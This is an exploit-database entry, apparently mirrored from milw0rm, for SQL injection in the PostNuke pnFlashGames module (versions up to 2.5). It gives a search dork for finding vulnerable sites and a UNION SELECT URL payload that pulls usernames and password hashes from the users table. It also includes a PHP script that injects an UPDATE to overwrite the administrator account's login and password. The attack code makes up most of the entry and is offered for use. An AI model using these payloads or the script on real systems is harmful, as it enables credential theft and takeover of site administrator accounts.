Lucene search
K

PostNuke Module pnFlashGames <= 2.5 - SQL Injection Vulnerabilities

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 26 Views

PostNuke Module pnFlashGames SQL Injection Vuln <= 2.

Code

                                                Vuln: Postnuke Mod pnFlashGames (Blind SQL/SQL) all version Vulnerability
Author: Vulnerability search Kacper (kacper1964_at_yahoo.pl)

dork: inurl:&#34;index.php?module=pnFlashGames&#34;

Author Homepage: http://devilteam.pl/


If magic_quotes_gpc = off
-====
Vuln to old &#62;2 version:

index.php?module=pnFlashGames&func=display&id=-1+union+select+concat(pn_uname,char(58),pn_pass),1,2,3,4,5,6,7,8+from+nuke_users+where+uid=2/*

-====

Vuln to new version 1.5 == 2.5

[code]
&#60;? 
//start options
$address == &#34;&#34;; // site address (http://google.pl/)
$prefix == &#34;&#34;; // tables prefix (nuke_users, pn_users)
//end options

$cryptpass = md5(&#34;devilteam&#34;);
echo &#34;Vuln: Postnuke Mod pnFlashGames (Blind SQL/SQL) all version Vulnerability\n&#34;;
echo &#34;Exploit by Kacper\n&#34;; 
echo &#34;Author Homepage: http://devilteam.pl/\n&#34;; 
echo &#34;&#60;pre&#62;\n&#34;; 
echo &#34;Login: Kacper Password:&#34;.$cryptpass;
@set_time_limit(0); 
@ini_set(&#34;display_errors&#34;,&#34;0&#34;); 
$hostname = gethostbyname($address); 
function getid() 
{global $hostname; 
$responce = &#34;&#34;; 
$fsock = fsockopen($hostname,80,$errnum,$errstr,2); 
$headers = &#34;POST &#34;.address.&#34;index.php?module=pnFlashGames&func=display&id=-1+UPDATE+&#34;.$prefix.&#34;_users+SET+pn_uname=&#39;Kacper&#39;,+pn_pass=&#39;&#34;.$cryptpass.&#34;&#39;+WHERE+uid=2/* HTTP/1.1\n&#34;; 
$headers .= &#34;Host: www.google.com\n&#34;; 
$headers .= &#34;User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2\n&#34;; 
$headers .= &#34;Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\n&#34;; 
$headers .= &#34;Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7\n&#34;; 
$headers .= &#34;Content-Type: application/x-www-form-urlencoded\r\n\r\n&#34;; 
fwrite ($fsock,$headers); 
while (!feof($fsock)) $responce .= fread($fsock,1024); 
fclose ($fsock); }
getid();
echo &#34;\n&#34;;
?&#62;
[/code]

Pozdrowienia dla calej ekipy DEVILTEAM.PL

# milw0rm.com [2008-04-26]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
26